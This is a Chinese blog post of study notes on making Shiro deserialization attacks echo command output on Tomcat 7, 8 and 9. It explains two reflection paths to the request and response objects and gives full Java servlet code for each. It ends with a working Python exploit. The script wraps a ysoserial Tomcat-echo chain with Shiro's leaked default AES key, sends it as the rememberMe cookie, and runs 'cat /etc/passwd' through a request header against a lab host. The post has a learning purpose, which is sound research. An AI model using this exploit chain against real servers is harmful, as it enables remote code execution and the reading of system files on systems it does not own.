Tomcat通用回显学习笔记

前言

为了解决Shiro反序列化命令执行没有回显的问题,我们需要想办法构造出回显。思路是寻找存储 request 和 response 的全局变量,然后利用反射获取这个变量,利用获取到的request和response把命令执行的结果写入到页面上。

寻找存储request和response的变量的详细过程可参考这篇文章:基于全局储存的新思路 | Tomcat的一种通用回显方法研究

基于全局存储思路出现了两种获取request和response的方法:

  • 方法一:通过 WebappClassLoaderBase 来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7)

    WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

  • 方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9)

    Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

两种方法的区别在于用了不同的方法获取AbstractProtocol$ConnectoinHandler

1.不适用于Tomcat7的回显方式

获取request和response

路径:

  1. 通过 Thread.currentThread().getContextClassLoader() 获取上下文中的 StandardService
  2. 从StandardService中获取Connector
  3. 获取Connector中的ProtocolHandler属性,从而获取AbstractProtocol
  4. 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,
  5. 然后再利用反射获取 gloabl 中的 processors 属性
  6. 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response

WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

具体过程:

1.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService

5bl6UI.png

2.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector

5bl2PP.png

3.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler

5blR8f.png

4.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler

5blW28.png

5.WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

最终找到了request

5blfxS.png

获取的属性:WebappClassLoaderBase->resources->context->service->connectors数组->protocolhandler->handler->global->processors->req

实现

代码比较简单,就是通过反射一步一步的获取属性,最终成功拿到request和response。作为验证,我们用获取到的response对象在页面上输出TomcatEcho

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package com.example.myservlet;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class TomcatEcho extends HttpServlet {

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
boolean flag=false;

try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

Connector[] connectors=(Connector[]) getField(getField(getField(standardContext,"context"),"service"),"connectors");


for(Connector connector:connectors){
Object global=getField(getField(getField(connector,"protocolHandler"),"handler"),"global");

ArrayList processors=(ArrayList)getField(global,"processors");


for(int i=0;i<processors.size();i++){
RequestInfo requestInfo=(RequestInfo) processors.get(i);

if(requestInfo!=null){
Request request=(Request) getField(requestInfo,"req");

org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();

Writer writer=Myresponse.getWriter();
writer.flush();
writer.write("TomcatEcho");
flag=true;
if(flag){
break;
}
}
if(flag){
break;
}


}

}



} catch (Exception e){
e.printStackTrace();
}

}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req,resp);
}


public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();

while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}

if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}


}
}

在Tomcat8和9中都能成功回显

5blwvD.png

在Tomcat7中测试出现错误

5bldgO.png

在Tomcat7中失败的原因

通过调试发现是在获取StandardContext的过程中出现了问题,也就是下面这句

1
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

这说明在Tomcat7中获取到的WebappClassLoaderBase和在Tomcat8、9中获取到的是不一样的,接下来详细看一下各个版本获取到的有什么不同

Tomcat9获取到的WebappClassLoaderBase

5blrbd.png

Tomcat8获取到的WebappClassLoaderBase

5blyVA.png

Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败

5blBKe.png

2.Tomcat7/8/9全版本通用回显方式

获取request和response

Thread.currentThread().getContextClassLoader() 的目的就是为了获取 AbstractProtocol$ConnectoinHandler,但是这种方式在Tomcat7中并不能获取到context,因此我们需要换一种方式,从其他地方获取 AbstractProtocol$ConnectoinHandler

由于 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint$Handler 定义的,同时 Handler 的实现类是 AbstractProtocol$ConnectoinHandler。因为 AbstractEndpoint 是抽象类,所以需要寻找它的子类—NioEndpoint 类。通过遍历线程获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request

路径:

  1. 通过 Thread.currentThread().getThreadGroup()获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint
  2. 通过NioEndpoint获取 AbstractProtocol$ConnectoinHandler
  3. 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,
  4. 然后再利用反射获取 gloabl 中的 processors 属性
  5. 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response

Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

1.首先通过 Thread.currentThread().getThreadGroup() 获取了一个thread数组·,然后遍历threads数组

5blYU1.png

在遍历到数组中的第五个值的时候,查看相应thread对象的target属性,获取NioEndpoint$Poller

5blJER.png

获取父类NioEndpoint

5bl8b9.png

2.target->this$0

已经获取了AbstractProtocol$ConnectoinHandler,按照顺序下一步就是找到global属性

5bl3DJ.png

3.target->this$0->handler->global

获取global属性

5bl1u4.png

4.target->this$0->handler->global->processors

找到processors数组,可以发现req对象,只需要遍历processors数组然后获取这个req对象就可以了

5blt4x.png

实现

还是利用反射获取属性,跟之前一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.example.myservlet;

import org.apache.coyote.*;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class TomcatEcho extends HttpServlet {

protected void doGet(HttpServletRequest reqsdfsdf, HttpServletResponse resp) throws ServletException, IOException {
boolean flag=false;

try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");

for(int i=0;i< threads.length;i++){
Thread thread=threads[i];
String threadName=thread.getName();

try{
Object target= getField(thread,"target");
Object this0=getField(target,"this$0");
Object handler=getField(this0,"handler");
Object global=getField(handler,"global");

ArrayList processors=(ArrayList) getField(global,"processors");

for (int j = 0; j < processors.size(); j++) {
RequestInfo requestInfo = (RequestInfo) processors.get(j);
if(requestInfo!=null){
Request req=(Request) getField(requestInfo,"req");

org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request) req.getNote(1);
org.apache.catalina.connector.Response response=request.getResponse();

Writer writer=response.getWriter();
writer.flush();
writer.write("TomcatEcho");
flag=true;
if(flag){
break;
}
}
}

}catch (Exception e){
e.printStackTrace();
}
if(flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

}



public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();

while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}

if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}


}
}

输出成功

5blUC6.png

Tomcat通用回显在Shiro中的利用

已经有人给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用

https://github.com/zema1/ysoserial/releases

用vulhub上的shiro环境来测试,用python把生成好的字节码加密一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme():
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.8-SNAPSHOT-all.jar', 'CommonsCollectionsK1TomcatEcho', "a"], stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size
# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# AES的CBC加密模式
mode = AES.MODE_CBC
# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes
# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())
# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_rememberMe_value



if __name__ == '__main__':

payload = encode_rememberme()
#print("rememberMe={}".format(payload.decode()))

cookie = {
"rememberMe": payload.decode()
}

header={
"Testcmd":"cat /etc/passwd",
"Testecho": "123"
}

r=requests.get(url="http://192.168.248.128:8080/login;jsessionid=30396200999CF64BA54C066DE2F33D97", cookies=cookie,headers=header,proxies={"http":None})
print(r.headers)
print(r.text)

成功回显

5bla8K.png

参考

Shiro反序列化漏洞笔记四(实战篇)

深入利用Shiro反序列化漏洞

Java代码执行漏洞中类动态加载的应用

tomcat不出网回显连续剧第六集

Shiro-055 分析&回显

Tomcat通用回显学习

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

Tomcat 通用回显 & Shiro 回显利用

基于tomcat的内存 Webshell 无文件攻击技术

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

tomcat结合shiro无文件webshell的技术研究以及检测方法


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!